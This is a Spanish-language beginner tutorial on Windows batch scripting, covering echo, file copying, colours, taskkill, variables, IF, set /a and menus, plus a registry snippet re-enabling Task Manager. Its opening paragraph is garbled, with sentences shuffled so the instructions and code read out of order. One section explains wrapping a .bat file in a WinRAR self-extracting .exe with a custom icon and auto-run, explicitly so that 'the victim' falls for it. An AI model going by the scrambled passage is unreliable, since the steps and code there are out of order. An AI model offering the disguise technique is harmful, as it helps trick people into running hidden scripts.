copy "copiado. dentro estará escrito lo que especificamos. y eliminamos el original.TXT". Pero en la carpeta en la que está nuestro batch se abra creado un nuevo archivo "nuevo.txt" que si lo abrimos. copiamos el archivo "COPIAME. tenemos que escribir algo como esto: Código : echo TEXTO DE PRIMERA LINEA > nombre.txt" exit Guárdalo en la carpeta como NombreQueTuQuieras.TXT" y su copia se llamará "COPIADO. Hagamos la prueba: Código : echo Creando un Archivo de texto > nuevo. Si ocupamos un echo seguido de un texto y el doble signo > (>>) se escribirá en la siguiente linea vacía del archivo que prosiga. Copiaremos un archivo" Pausamos el intérprete para que no siga de largo.bat.txt echo Esto esta genial >> nuevo.txt echo Esta es la Segunda linea >> nuevo. la pantalla negra se abrirá y cerrará.txt echo Y esta es la Siguiente >> nuevo. y ejecútalo. "COPIAME. Lo que ha hecho la cadena de instrucciones es más o menos lo siguiente: Primero apagamos el eco.extensión echo TEXTO SEGUNDA LINEA >> nombre.extensión Al escribir echo seguido de un texto y el signo > creamos un archivo con el nombre que siga.txt y otro copiado2.txt Si ejecutamos eso. Por ultimo cambiamos de directorio al disco C.txt.extensión echo TEXTO SIGUIENTE LINEA >> nombre.txt" "copiado2. También si vamos a la carpeta del Batch. si vamos al Disco C. veremos no está el archivo de texto original. veremos que hay dos nuevos archivos de texto: uno llamado copiado. Personalizando el SHELL .TXT". copiamos la copia y cerramos el Batch. A continuación. Para ello. luego imprimimos en pantalla "Hola. Creación de nuevos archivos: Con Batch podemos crear otros archivos. La movemos a la carpeta raíz del disco C. Después de que ejecutemos el Batch.

Seguro que no te gusta mucho el aspecto del Shell. Aquí un ejemplo. Siendo su sintaxis: COLOR AB Donde A= El color de el Fondo y B= Color de las letras. donde cambié los colores y jugué con los caracteres y personalicé el PAUSE: ."? Pues si escribes "pause>nul" no aparecerá ni un texto. Para ver todos los colores ve el MS-Dos y escribe color/? TITLE: Para cambiar el título de la barra de tareas solo escribe: Title Loquequierascomotitulo PAUSE PERSONALIZADO: ¿No te gusta que al poner pause salga "Presione una tecla para continuar. COLOR: Con la función color podemos cambiar los colores de fondo y las letras.. Entonces si anteponemos un mensaje. Código : echo Aprieta cualquier tecla para seguir pause>nul Además puedes jugar con los caracteres. Aquí veremos como personalizarlo un poco.. quedaría así.

se usa la función: Taskkill (No funciona en todos los pc.exe Si lo ejecutas y tienes el Reproductor de Windows Media abierto. para ver si esta disponible escribe taskkill/?) Su sintaxis es: Código : Taskkill -f -im proceso. En la pestaña procesos salen algunos procesos que están andando en tu pc. echo Esto esta personalizado. Para abrir procesos se usa la función Start que funciona así: Código : start proceso. echo.exe /f Fuerza el término del proceso. este se cerrará. Con batch eso es muy fácil. ABRIENDO PROCESOS: Ahora abramos ese proceso que cerramos. Un ejemplo seria escribir. haciéndoles clics y apretando "terminar proceso" lo puedes acabar.exe . Código : taskkill ²f -im wmplayer. Matando Procesos: ¿Alguna vez has presionado CTRL+ALT+DELETE? Si lo haces se abre el Administrador de tarea. para salir presiona una tecla. (ECHO seguido de un punto)sirve para saltarse una línea.El código que empleé para esto fue: Código : @echo off color 30 echo ================================== echo = = echo = Personalizado = echo = = echo ================================== echo. pause>nul exit Cabe mencionar que echo.

También puedes abrir paginas web con tu explorador predeterminado.google. . Variables: Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero.exe Se abrirá el Reproductor de Música Código : start www. ´/pµ significa que el usuario le pondrá el valor a la variable por medio de una pregunta. pause set /p nombre=cómo te llamas? set /p edad=cuántos años tienes? pause echo hola %nombre% echo veo que tienes %edad% años verdad? echo Hasta luego! pause exit Ahora Examinemos el code: Código: set /p nombre=cómo te llamas? Con esto estamos haciendo que el archivo pregunte al usuario el valor de la variable nombre. Código : start wmplayer.cl Se abrirá tu Explorador de Internet en Google. cuando la llamamos seria %zero% A LA PRACTICA Comenzaremos examinando el code siguiente: Código: echo off title variables echo bienvenido al ejercicio para aprender variables echo . "=cómo te llamas?" es la pregunta que se le hará al usuario. ´Setµ es el comando para llamar variables. "nombre" ahí está el nombre de la variable.

verifica que algo no sea = a un valor especificado. solo que trabaja sobre archivos y no valores alfanuméricos. Su principal rol en los batch es verificar si alguna variable es "tal" valor numérico. Si es verdadero o no hace una acción determinada. Un ejemplo: Código: @echo off if exist c:/windows/system32/explorer. Tiene un funcionamiento idéntico al IF (NOT).---------------------------------------------------------------------------------------------------------------------------Variables de entorno. Aquí mostraremos un claro ejemplo de su función que no es para nada complicado. Código: @echo off set /p var=cuanto es 1+1?? if %var%==2 (echo bien) else echo mal pause En cambio IF NOT es exactamente lo contrario. Aquí se ve claramente: Código: @echo off set /p var=cuanto es 1+1?? if not %var%==2 (echo mal) else echo bien pause IF (NOT) EXIST verifica que exista cierto archivo.exe (echo tienes el explorer) else echo no tienes el explorer pause > nul ---------------------------------------------------------------------------------------------------------------------------- . %ALLUSERSPROFILE% ------> todos los usuarios %APPDATA% ---------> datos de programa %PROMPT%%TEMP% y %TMP% ---------> temporales %USERDOMAIN% -----------> obtener dominio %USERNAME% --------------->nombre del usuario Actual %USERPROFILE% ---------------> usuario configuración %programfiles% ---------------> archivos de programas %systemroot% ----------------> Windows %homedrive% --------------> disco Raíz ---------------------------------------------------------------------------------------------------------------------------IF (not) & IF (not) EXIST IF es un comando que permite verificar algo.

para salir pulse intro sin ninguna opcion: if %var%==1 (goto goo) if %var%==2 (goto wiki) :goo start www.google.com pause goto menu :wiki start www.Aplicación del IF a las variables y menús IF nos ayuda a la hora de crear menús. Ya que podemos asignarle un número a cada opción del menú y así cuando el usuario ingrese cierto número nos llevara al lugar designado.com pause goto menu ---------------------------------------------------------------------------------------------------------------------------VARIABLES: Ahora aprendamos a declarar variables. Abrir google echo 2. No se entiende totalmente en palabras por eso les he formulado este simple code que lo explica. Abrir wikipedia set /p var=Que pagina web quieres abir? Teclea numero de opcion y pulse intro. Para crear una se escribe: Código : set NOMBREVARIABLE = VALOR Para llamarla debemos escribir su nombre entre los signos %% Ejemplo: Código : @echo off set Nombre= Javier Letelier Ruiz echo %Nombre% pause La pantalla nos mostrara algo así: . Código: @echo off :menu echo 1.wikipedia.

Copiar carpeta usando archivo .BAT copiar una carpeta de un origen a un destino. 45. coloca este codigo en el notepad y despues lo guardas con extension . xcopy D:\rutacarpetaorigonal C:\rutacarpetadestino echo Proceso Completa pause .BAT recuerda que la instruccion rem es para escribir comentario recuerda que la instruccion echo es para imprimir en la pantalla @echo off echo Probando rem esta linea es un comentario.. También podemos multiplicarlas. la instruccion if es en el caso de que la rem carpeta no exista.. IF ERRORLEVEL 2 GOTO ERROR rem xcopy es el comando para copiar una carpeta entera y no un archivo propiamente. etc.Para cambiar el valor solo debemos hacer esto: Código : set Nombre= Nuevo Valor Si quieres que tu Variable sea dinámica. con /a: Código : set numero1=2 ser numero2=43 set /a suma= %numero1% + %numero2% echo %suma% pause exit Si ejecutamos este. nos devolverá la suma de 2 + 43. osea que el Usuario la elija antepones /p: Código : set /p Nombre=Escriba su Nombre: Donde el Batch se pausara solo mostrando el Mensaje que va luego de "=" dejando que se escriba algo. sumarlas.

bit a bit y ^ .menor que IF LEQ . con esto ya podeis hacer una sencilla calculadora que sume .operadores aritméticos +.bit a bit = *= /= %= += -= .exit :ERROR pause Espero te sirva Saludos ---------------------------------------------------------------------------------------------------------------------------IF EQU .asignación &= ^= |= <<= >>= .desplazamiento lógico & .bit a bit exclusivo o | .igual IF NEQ .agrupar !~.separador de expresión un ejemplo de una sencilla suma: @echo off set /a resul=5 + 5 echo el resultado es %resul% pause exit mmmm como veis se alamacena el resultado en la variable resul que luego sera mostrada por echo.operadores aritméticos << >> .mayor que o igual UTILIZANDO SET /A set /a sirve para realizar operaciones yo explicare las basicas uranios y aritmeticos: sumar dividir multiplicar restar tambien os dejare una lista de las operaciones que se pueden realizar () .menor que o igual IF GTR .operadores unarios */% .no igual IF LSS . .mayor que IF GEQ .

. Ahora.@echo off :menu set /p var=primer numero: set /p var1=segundo numero: set /a resul=%var% + %var1% echo el resultado es %resul% pause goto menu ---------------------------------------------------------------------------------------------------------------------------Bueno aqui les dejo como convertir un archivo . en ruta de extracción puedes escribir la ruta donde se extraera el contenido del .exe) Si quieres.exe.exe es mas facil que la victima caiga claro existes otras formas de hacerlo pero esta es la mas sencilla y a su alcanse Si quieres convertirlo a .exe y que siga funcionando.Haz lo siguiente: 1. puedes mediante la ficha "Avanzado". darle otras propiedades al . escribe aqui el nombre completo del . luego eliges la opción "Añadir al archivo. este ha tomado ya la extensión . escribe en el cuadro "Ejecutar tras la extracción" el nombre real del archivo..exe. en el apartado "Opciones de compresion" marca la casilla de "Crear un archivo SFX"..bat se ejecute al dar doble clic al .exe al ser ejecutado (Por Ejemplo: c:\) En el apartado Programa de instalacion. ve a la pestaña "Texto e icono" y el el cuadro "Cargar icono SFX desde fichero".bat "Archivo.. si quieres que el . para la ventana. haz clic en buscar y localiza el icono en tu pc que deseas colocar al archivo.." 2. 0 = Negro 1 = Azul .. (Ejemplo quieres colocar tu propio icono al archivo). para ello haz clic en la pestaña de la ficha avanzado y luego eliges "Opciones SFX" y te aparecera el cuadro "Opciones avanzadas SFX" En el cuadro Opciones avanzadas SFX.bat. Da clic con el botón secundario del mouse sobre el archivo que deseas cambiar para que te aparezca el menú contextual.bat a . notaras que con solo marcar esta casilla en el cuadro "Nombre de Archivo". (Si eres detallista. Aparecera un cuadro llamado "nombre de Archivo y parametros" y por defecto estarás ya en la ficha "General (Fijjate que la pestaña dice "General".exe. es decir.bat" Si quieres cambiar el icono que identifica por defecto al archivo.. ---------------------------------------------------------------------------------------------------------------------------Ahora vamos con los códigos de los colores. el compresor WinRar te permite hacer eso y más solo es cuestión de explorar un poco.

ETC.por ejemplo color 6C o color F1.** Mejor ver un ejemplo: @echo off title ejemplo set/p a=¿cual es tu nota en matematicas? cls set/p b=¿cual es tu nota en tecnologia? cls set/p c=¿cual es tu nota en lengua? cls set/p d= ¿cual es tu nota en ingles? .... Ahora vamos con nuevas variables...es para operaciones matemáticas.... TEXTO.se expresa asi: set/a **VARIABLE**=**PREGUNTA.2 = Verde 3 = Aguamarina 4 = Rojo 5 = Púrpura 6 = Amarillo 7 = Blanco 8 = Gris 9 = Azul claro A = Verde claro B = Aguamarina claro C = Rojo claro D = Púrpura claro E = Amarillo claro F = Blanco brillante Un ejemplo de como aplicarlos: @echo off title hola color 5E echo hola exit Seria asi el comando: color **COLOR VENTANA****COLOR LETRA** Sustituyendo **COLOR VENTANA** por el color de fondo y **COLOR LETRA** por el color de la letra..

cls set/p e=¿cual es tu nota en sociales? cls set/p f=¿cual es tu nota en dibujo? cls set asig=6 rem esto que acabo de poner es para sacar una media. que es = 6. y asi.reg Windows Registry Editor Version 5. porque son 6 las preguntas.. al valor asig le asignamos 6. sacamos la media.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] "DisableTaskMgr"=dword:00000000 "DisableRegistryTools"=dword:00000000 ------------------------------------------------------------------------------------------------------------------------------------ .. echo tu nota media es de : %media% pause exit ---------------------------------------------------------------------------------------------------------------------------para activar el regedit pase esto a xp abres tu block de notas y despues lo guardas como task.. set/a suma=a+b+c+d+e+f rem aqui sumamos set/a media=%suma%/%asig% rem aqui sacamos la media dividiendo suma que es = a+b+c+d+e+f que es el resultado puesto por el ejecutante entre asig.